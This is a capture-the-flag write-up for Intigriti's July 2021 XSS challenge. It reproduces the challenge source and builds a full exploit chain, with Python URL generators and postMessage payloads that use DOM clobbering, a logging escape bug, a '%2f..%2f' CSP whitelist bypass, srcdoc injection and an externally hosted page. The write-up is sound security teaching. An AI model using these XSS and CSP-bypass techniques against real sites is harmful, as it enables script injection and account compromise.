Writeup CTF Intigriti Challenge 0721

Introduction

Intigriti announced a new challenge. No time to waste…

Link to challenge: https://challenge-0721.intigriti.io/

The code

The page implements some kind of live HTML editor in which you are able to edit html code live and possible errors are shown in the console.

Basically the challenge exist of three files (Click on the arrow to show the code):

Main page - index.php
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>Intigriti July Challenge</title>
...
   </head>
   <body>
      <section id="wrapper">
      <section id="rules">
...
      <div class="card-container">
         <div class="card-header-small">Your payloads:</div>
         <div class="card-content">
            <script>
               // redirect all htmledit messages to the console
               onmessage = e =>{
                  if (e.data.fromIframe){
                     frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
                  }
               }
               /*
               var DEV = true;
               var store = {
                   users: {
                     admin: {
                        username: 'inti',
                        password: 'griti'
                     }, moderator: {
                        username: 'root',
                        password: 'toor'
                     }, manager: {
                        username: 'andrew',
                        password: 'hunter2'
                     },
                  }
               }
               */
            </script>

            <div class="editor">
               <span id="bin">
                  <a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
               </span>
               <iframe class=console src="./console.php"></iframe>
               <iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
               <textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
            </div>
         </div>
      </div>
   </section>
</section>
</body>
</html>
HTML editor - htmledit.php?code=test
<!-- test -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Native HTML editor</title>
    <script nonce="0481874b582e8335b482ee5305530f41">
        window.addEventListener('error', function(e){
            let obj = {type:'err'};
            if (e.message){
                obj.text = e.message;
            } else {
                obj.text = `Exception called on ${e.target.outerHTML}`;
            }
            top.postMessage({fromIframe:obj}, '*');
        }, true);
        onmessage=(e)=>{
            top.postMessage({fromIframe:e.data}, '*')
        }
    </script>
</head>
<body>
    test</body>
</html>

<!-- /* Page loaded in 0.000018 seconds */ -->
Console - console.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
        name = 'Console'
        document.title = name;
        if (top === window){
            document.head.parentNode.remove(); // hide code if not on iframe
        }
    </script>
    <style>
...
    </style>
</head>
<body>
    <ul id="console"></ul>
    <script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
        let a = (s) => s.anchor(s);
        let s = (s) => s.normalize('NFC');
        let u = (s) => unescape(s);
        let t = (s) => s.toString(0x16);
        let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
        let log = (prefix, data, type='info', safe=false) => {
            let line = document.createElement("li");
            let prefix_tag = document.createElement("span");
            let text_tag = document.createElement("span");
            switch (type){
                case 'info':{
                    line.style.backgroundColor = 'lightcyan';
                    break;
                }
                case 'success':{
                    line.style.backgroundColor = 'lightgreen';
                    break;
                }
                case 'warn':{
                    line.style.backgroundColor = 'lightyellow';
                    break;
                }
                case 'err':{
                    line.style.backgroundColor = 'lightpink';
                    break;
                } 
                default:{
                    line.style.backgroundColor = 'lightcyan';
                }
            }
            
            data = parse(data);
            if (!safe){
                data = data.replace(/</g, '&lt;');
            }

            prefix_tag.innerHTML = prefix;
            text_tag.innerHTML = data;

            line.appendChild(prefix_tag);
            line.appendChild(text_tag);
            document.querySelector('#console').appendChild(line);
        } 

        log('Connection status: ', window.navigator.onLine?"Online":"Offline")
        onmessage = e => {
            switch (e.data.cmd) {
                case "log": {
                    log("[log]: ", e.data.message.text, type=e.data.message.type);
                    break;
                }
                case "anchor": {
                    log("[anchor]: ", s(a(u(e.data.message))), type='info')
                    break;
                }
                case "clear": {
                    document.querySelector('#console').innerHTML = "";
                    break;
                }
                default: {
                    log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
                }
            }
        }
    </script>
    <script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
        try {
            if (!top.DEV)
                throw new Error('Production build!');
                
            let checkCredentials = (username, password) => {
                try{
                    let users = top.store.users;
                    let access = [users.admin, users.moderator, users.manager];
                    if (!users || !password) return false;
                    for (x of access) {
                        if (x.username === username && x.password === password)
                            return true
                    }
                } catch {
                    return false
                }
                return false
            }

            let _onmessage = onmessage;
            onmessage = e => {
                let m = e.data;
                if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
                    return; // do nothing if unauthorized
                }
            
                switch(m.cmd){
                    case "ping": { // check the connection
                        e.source.postMessage({message:'pong'},'*');
                        break;
                    }
                    case "logv": { // display variable's value by its name
                        log("[logv]: ", window[m.message], safe=false, type='info'); 
                        break;
                    }
                    case "compare": { // compare variable's value to a given one
                        log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info'); 
                        break;
                    }
                    case "reassign": { // change variable's value
                        let o = m.message;
                        try {
                            let RegExp = /^[s-zA-Z-+0-9]+$/;
                            if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
                                throw new Error('Invalid input given!');
                            }
                            eval(`${o.a}=${o.b}`);
                            log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
                        } catch (err) {
                            log("[reassign]: ", `Error changing value (${err.message})`, type='err');
                        }
                        break;
                    }
                    default: {
                        _onmessage(e); // keep default functions
                    }
                }
            }
        } catch {
            // hide this script on production
            document.currentScript.remove();
        }
    </script>
    <script src="./analytics/main.js?t=1627730585"></script>
</body>
</html>

General overview

While approaching a challenge like this it is always good to start to get a general overview without focussing to much on the specific details.

Because this is an XSS challenge, lets keep en eye out for interesting Sources and sinks

Main page

The main page consists of a script which can receive postMessages and when the message received contains the fromIframe property the message is send to the first page in the frame (which is the console.php page) A piece of code is commented out. It seems like a development mode will become available when setting the DEV global variable to true. Also a store is defined with some hardcoded usernames and passwords.

The rest of the page consists of HTML code. It includes the Console and HTML editor pages as iframes. A postMessage ‘clear’ can be send to the console by clicking a trashbin icon. A textarea is used so that users of the site can test their own HTML code. The code typed there is injected into the HTML editor using the oninput event.

Mental note
  1. Interesting sink: user input is entered in the textbox and supplied to the HTML Editor using the code query parameter. Notice that the code entered is reflected in the HTML Editor.

Html edit page

This page is short and simple. The PHP code reflects the code query parameter. HTML code can be supplied as well. The script inside the page installs an error event listener which will forward an error to the top window by means of a postMessage. The top window (the Main page) will forward this message to the Console page. Also an message event listener is installed. It will simply forward the received message to the top window. Not sure how this is used exactly.

Mental note
  1. Page will forward a received message to the top window.

Console page

The console page is much more interesting than the other ones. This page handles the incomming messages by registering an message event listener and is able to show different types of issues on the screen (info, success, warn, err). The page will not load when it is the top window. A log function is define which handles the logging. The parse function looks like this:

let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
The log function takes four arguments: prefix, data, type and safe. The data argument can be controlled by the user. Some sanity checking on the data parameter is implemented:

if (!safe){
   data = data.replace(/</g, '&lt;');
}

Only the < character is escaped which mitigates HTML code injections. The data and prefix values are inserted into the element using the innerHTML property:

text_tag.innerHTML = data;

Three types of postMessages are handled: log, anchor and clear. The log and anchor are interesting because both log user supplied input. The anchor tag also executes the s, a, and u functions on the data.

When the top frame is in development mode, that is, the DEV variable is set, some extra code is executed. It enables some extra message handling, namely: ping, logv, compare and reassign. ping does not handle user input, logv handles user input by logging the variable window[m.message] to the screen, compare only outputs true or false to the screen based on user input and reassign is more complicated. It will set a global variable chosen by the user equal to another global variable chosen by the user. Worth noting is that the variable names are checked by a regular expression which only allows the characters s to z, A to Z, the numbers 0 to 9 and the ‘+’ and ‘-’ signs. It implements its functionality by using the unsafe eval function.

The script also includes the analytics/main.js script which currently only contains some comments.

Mental notes
  1. Page will not load when it is the top window
  2. Some helper functions are stored in variables (a, s, u and t)
  3. When parsing postMessages the < is escaped.
  4. postMessages are allowed cross origin
  5. reassign uses an unsafe eval function, but has strict sanity checking.
  6. The origin of the postMessage is not checked, so every origin can send a postMessage to this page.

The attack

The whole attack consist of 5 steps shown below

Step 1 - First idea

Because the HTML Editor is easy to test and it is not know if any sanity checking is implemented in the php script, lets try to inject a script.

Visit: https://challenge-0721.intigriti.io/htmledit.php?code=%3Cscript%3Ealert(1)%3C/script

No alert box is show. When enabling the javascript console the following error can be seen:

Intigriti error

It seems like script execution is blocked by the Content Security Policy (CSP). Lets inspect that header:

script-src 'nonce-01ea3bd0d1e8aa23d95fc540e5429657';frame-src https:;object-src 'none';base-uri 'none';

Every script needs a correct nonce for it to be executed by the browser. For every request the nonce is changed, so it is not possible to use a fixed nonce. It does not seem that this policy will allow us to execute script.

Tip
https://csp-evaluator.withgoogle.com/ is a nice site to inspect CSP headers

Note that a further investigation of the eventlisteners on the HTML Editor page can be done, but these do not reflect any user input. They only send stuff to the top window by using a postMessage. Sending post messages to the Console page is allowed because the origin is not checked, so no need to look further into this right now.

Step 2 - Bypass top.DEV

The Console page looks interesting with a sink innerHTML and an unsafe eval function. Because the previous page gave a CSP error, lets first look if the console.php page has a CSP enabled:

content-security-policy: script-src 'nonce-25818ace5b613e780fb1ef819e3e788a' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';

That is a bummer. A fairly strict CSP, but this one has a whitelist enabled which allow all scripts on host/analytics to run. Also nonces are implemenented, so even if javascript code could be injected, no execution will take place.

Anyway, maybe the nonce can be stolen somehow. Or the whitelisted url can be exploited. Lets try to investigate the code to see if it is possible to inject some code. postMessages can be send from anywhere, so do not worry about that.

It is not possible to inject code because of the data.replace(/</g, '&lt;'); replacement, so testing the commands log or anchor will probably not help us. Lets focus first to be able to execute the commands ping, logv, compare or reassign.

Info
A this point I had no idea how to exploit this, but playing with the code makes me understand the code better, so let try to move forward, the rest will follow.

First question: How can the if (!top.DEV) check be bypassed? Somehow the top frame should have the DEV variable set. No javascript code can be executed to achieve this, but maybe DOM clobbering can be used? Because the iframe references the top.DEV variable the top.DEV needs to be defined in the same origin, otherwise the Same Origin Policy (SOP) security mechanism will interfer. This means that no other origin can host the top page. But html code can be injected using the HTML Editor page. Lets try to create a custom top level page by using the HTML Editor.

The code parameter needs to be URL encoded so lets create a little script:

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"
iframedev="<iframe name=\"DEV\"></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev))

print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/htmledit.php?code=%3Ciframe%20name%3D%22DEV%22%3E%3C/iframe%3E

An iframe is created:

<body>
    <iframe name="DEV"></iframe></body>

Lets add the Console page as well so access to top.DEV from the Console page can be tested:

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"

iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain))

print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/htmledit.php?code=%3Ciframe%20name%3D%22DEV%22%3E%3C/iframe%3E%3Ciframe%20name%3D%22consolemain%22%20src%3D%22https%3A//challenge-0721.intigriti.io/console.php%22%3E%3C/iframe%3E

image

Using the chromium debugger the top.DEV variable can be accessed. Because no type checking is done on the variable, it is enough that the variable ’exists’.

The message handler of the protected functions also calls the checkCredentials function which needs to be bypassed. An idea on how to do this is already present in the main page. The page expects that a global variable with a user store is present (named store) which needs to contain allowed users. In the main page the users are defined based on property names “admin”, “moderator” and “manager”. Only one valid user is needed, so lets try to create an admin. Per user, a username and password should be available.

Lets nest the iframes in order to create the store, users and an admin user. The username and password can be set by means of an anchor. See HTMLAnchorElement/username and HTMLAnchorElement/password.

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"

ahref="https://admin:password@test"
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))

print(top_htmledit)

Resulting url: https://challenge-0721.intigriti.io/…

As can be seen, the python script is really handy because of all the nesting going on. After visiting the page, all the iframes can be seen. The last iframe contains the anchor link with username and password as shown below.

intigriti windows Intigriti alink

Lets try to send the logv message to the console. This one should print the name of the window in the Console, which indeed works:

Intigriti postmessage1 Intigriti postmessage2

Step 3 - CSP and innerHTML issues

This step took a while. I can execute the available functions but how can I exploit this? After looking at the code for a while I noticed two things:

  1. The order of parameters when calling log() on the ’logv’ and ‘compare’ handlers is wrong. The safe parameter should be the fourth one. On de logv function the string “info” is used on the safe parameter and because the check is implemented like this: if (!safe). This means that the < character will not be escaped. This allows for injecting HTML code.
  2. The parse function makes a call to the function stored in variable s to normalize the input. Because the functions are stored in variables they can be swapped around by use of the reassign message. It seems like the eval is too restricted to do anything else.

After a while (and based on a hint posted by Intigriti on Twitter) I noticed that the x variable which is used in the checkCredentials() function is everywhere availabe because it is a global variable.

Lets see what the x contains:

<a id="admin" href="https://admin:password@test"></a>

Lets try to inject it into the Console:

postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"x"},"*");

The output on the console looks like this:

[logv]: {}

This is caused by the fact that the element provided to the parse function is not a string but an anchor object. This means that JSON.stringify() cannot make a valid string object from this object.

Remember that the reassign handler also allowed the + and - characters. Maybe it can be used to convert the object to a valid string by adding 1 to it and so indirectly calling the toString function? Lets try:

postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");

Inspecting z gives the output:

"https://admin:password@test/1"

Nice, making progress…

Code injection in the script is possible (using global variable x) and escaping can be disabled (by using the logv function). Lets combine these two and inject a script.

But wait… scripts are blocked on the console.php page. It is also not possible to inject scripts in using innerHTML. How to continue?

Two issues exist:

  1. CSP blocks executing scripts
  2. innerHTML does not allow scripts

First issue - CSP blocks scripts

The javascript has to be executed on the correct origin, but executing scripts is blocked unless the nonce value is known. The nonce value changes every time and seems secure. Maybe this can be exploited using the whitelisted url https://challenge-0721.intigriti.io/analytics/ which was noticed before?

After some reseach a bypass was found. You can insert %2f..%2f into the url and trick the CSP logic in the browser and allowing script executions on unintended urls. E.g. Including a some script as follows: https://challenge-0721.intigriti.io/analytics%2f..%2f/somescript.js will do the trick.

But no script is available on the challenge site. Lets first see whether this trick works by generating a page using the well known htmledit.php like this: https://challenge-0721.intigriti.io/analytics%2f..%2f/htmledit.php?code=test

Second issue - innerHTML blocks scripts

Still the innerHTML script blocking feature needs to be bypassed. This can be done by using an iframe with attribute srcdoc.

Lets combine above solutions and adapt our script accordingly:

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"

exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=test\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))

print(top_htmledit)

Resulting url: https://challenge-0721.intigriti.io/…

Tip
A fragment (#) in the url can be used to avoid invalid parsing of the url itself

Lets send the following postMessages manually like before:

postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"z"},"*");

What!? The output does not seem to be correct:

nooutput

Notice that when converting an anchor to an string (with the x+1) the output url is escaped. Lets try to find a way to unescape this url. Remember that the parse function above had a call to the s() function. This needs to point to the u() function which will unescape strings like this:

let u = (s) => unescape(s);

The combined postmessage look like this:

postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"s","b":"u"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"z"},"*");

Executing this gives:

Uncaught SyntaxError: Unexpected token '<'

This is good. It means that the generated page is executed as a script. It will first encounter the HTML tag starting with < which it cannot parse. This is logical because it is not valid javascript. But how can a script be executed which shows the alert(document.domain) popup?

Step 4 - Execute javascript code

Lets look at the generated page on the url: https://challenge-0721.intigriti.io/htmledit.php?code=test

<!-- test -->
<!DOCTYPE html>
<html lang="en">
...
<body>
    test</body>
</html>
<!-- /* Page loaded in 0.000018 seconds */ -->

Notice the weird comment in the bottom of the page. It also contains the javascript /* */ style comments. Also an echo in the beginning of the page is present. This can maybe be used to inject some valid javascript code. Lets break first out of the <!-- comment. This is in fact a valid javascript comment. It it supported by javascript in the beginning because older browsers which could not understand the <script> tag would otherwise not be able to parse the javascript. By introducing the <!-- just after the script tag the older browsers would just skip the code while the newer browsers would execute the javascript code. Nowadays this is not needed anymore, but back in the day this was really necessary. Breaking out of the <!-- can be done by injecting an newline. After that, the famous alert(document.domain) code can be executed. One needs to make sure that the rest of the HTML is not executed by javascript. This can simply be done by injecting a start of a block comment /*. This can be done because a matching end of block comment is found in the bottom of the page.

Putting these ideas in the script resulted in the following:

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"

exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=%0Aalert(document.domain)%3B%2F*\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))

print(top_htmledit)

Resulting url: https://challenge-0721.intigriti.io/…

Finally the popup is shown. The finish line is in sight. The postMessages still need to be send to the console window.

Step 5 - Putting it al together

How can postMessages be send to the console window?

Don’t worry about the SOP, that is not applicable to postMessages. Lets send a postMessage to the console window by introducing another iframe on the side. This can point to another domain. That site can execute scrips which can sent the postmessages automatically.

Lets first create the custom page on which the external script will be hosted. Next, adapt the python script so another iframe is introduced. Lets make it so that the console is a child iframe of our own html page. This makes it easy to send postMessages to it.

<html>
	<head></head>
	<body>
		<iframe name="consolemain" src="https://challenge-0721.intigriti.io/console.php"></iframe>
	<script>
		window.onload = () => {
		let w = document.querySelector("iframe").contentWindow
		w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "reassign","message" : {"a":"s","b":"u"}}, '*');
		w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "reassign","message" : {"a":"z","b":"x+1"}}, '*');
		w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "logv","message" : "z"}, '*');
		}
	</script>
	</body>
</html>

The new python script:

Click to view python script
import urllib.parse

baseurl="https://challenge-0721.intigriti.io/"
evilurl="https://miluxsec.nl/"

exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=%0Aalert(document.domain)%3B%2F*\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"

nested="<iframe name=\"nested\" src="+evilurl+"fe9752d8407a1a2eacc0d1de56362d45.html></iframe>"

top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + nested + iframestore))

print(top_htmledit)

Resulting url: https://challenge-0721.intigriti.io/…

finally

Finally, the popup shows ;-)

* Note that the exploit code is not hosted anymore.